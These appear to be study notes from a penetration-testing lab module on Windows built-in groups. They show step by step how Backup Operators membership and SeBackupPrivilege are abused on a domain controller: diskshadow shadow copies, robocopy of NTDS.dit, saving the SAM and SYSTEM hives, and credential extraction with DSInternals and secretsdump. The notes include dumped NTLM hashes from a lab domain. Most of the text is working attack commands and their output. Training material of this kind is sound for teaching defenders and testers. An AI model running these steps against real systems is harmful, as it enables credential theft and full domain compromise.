Windows Built in Groups
Windows Built-in Groups
Default groups on windows or when we install AD
Default groups
https://ss64.com/nt/syntax-security_groups.html
Severity
Many of these groups confer special privileges on their members and some can be leveraged to escalate privileges on a server or a Domain Controller.
Target Groups
Backup Operators
Event Log Readers
DnsAdmins
Hyper-V Administrators
Print Operators
Server Operators
Backup Operators
After landing on a machine, we can use the command whoami /groups to show our current group memberships if we are a member of the Backup Operators group we grant SeBackup and SeRestore privileges.
Privilege Definition
SeBackup privilege: allow to Traverse any folder and list contents and allow to copy any file even if there is no access control entry (ACE) for us in the folder's access control list (ACL)
exploit the SeBackupPrivilege
SeBackupPrivilegeImporting Libraries
PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\htb> Import-Module .\SeBackupPrivilegeCmdLets.dllVerifying SeBackupPrivilege is Enabled
Let's check if SeBackupPrivilege is enabled
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
**SeBackupPrivilege** Back up files and directories **Disabled**
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledPS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is **disabled**Enabling SeBackupPrivilege
PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is enabledCopying a Protected File
This privilege can now be leveraged to copy any protected file.
Before
PS C:\htb> dir C:\Confidential\
Directory: C:\Confidential
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/6/2021 1:01 PM 88 2021 Contract.txt
PS C:\htb> cat 'C:\Confidential\2021 Contract.txt'
cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
izedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommandAfter
PS C:\htb> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt
Copied 88 bytes
PS C:\htb> cat .\Contract.txt
Inlanefreight 2021 Contract
==============================
Board of Directors:
<...SNIP...>Attacking a Domain Controller - Copying NTDS.dit
This group also permits logging in locally to a domain controller. The active directory database NTDS.dit is a very attractive target
As the NTDS.dit file is locked by default, we can use the Windows diskshadow utility to create a shadow copy of the C drive and expose it as E drive. The NTDS.dit in this shadow copy won't be in use by the system.
PS C:\htb> diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 12:57:52 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
PS C:\htb> dir E:
Directory: E:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/6/2021 1:00 PM Confidential
d----- 9/15/2018 12:19 AM PerfLogs
d-r--- 3/24/2021 6:20 PM Program Files
d----- 9/15/2018 2:06 AM Program Files (x86)
d----- 5/6/2021 1:05 PM Tools
d-r--- 5/6/2021 12:51 PM Users
d----- 3/24/2021 6:38 PM WindowsCopying NTDS.dit Locally
Next, we can use the Copy-FileSeBackupPrivilege cmdlet to bypass the ACL and copy the NTDS.dit locally.
PS C:\htb> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Copied 16777216 bytesUsing Robocopy
C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Thursday, May 6, 2021 1:11:47 PM
Source : E:\Windows\NTDS\
Dest : C:\Tools\ntds\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
New Dir 1 E:\Windows\NTDS\
100% New File 16.0 m ntds.dit
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 1 0 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 356962042 Bytes/sec.
Speed : 20425.531 MegaBytes/min.
Ended : Thursday, May 6, 2021 1:11:47 PMBacking up SAM and SYSTEM Registry Hives
The privilege also lets us back up the SAM and SYSTEM registry hives, which we can extract local account credentials offline using a tool such as Impacket's secretsdump.py
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.
C:\htb> reg save HKLM\SAM SAM.SAV
The operation completed successfully.Extracting Credentials from NTDS.dit
DSInternals (PowerShell Module):
PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Sid: S-1-5-21-669053619-2741956077-1013132368-500
Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogonDate: 5/6/2021 5:40:30 PM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-669053619-2741956077-1013132368-512Using SecretsDump
irix@htb[/htb]$ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::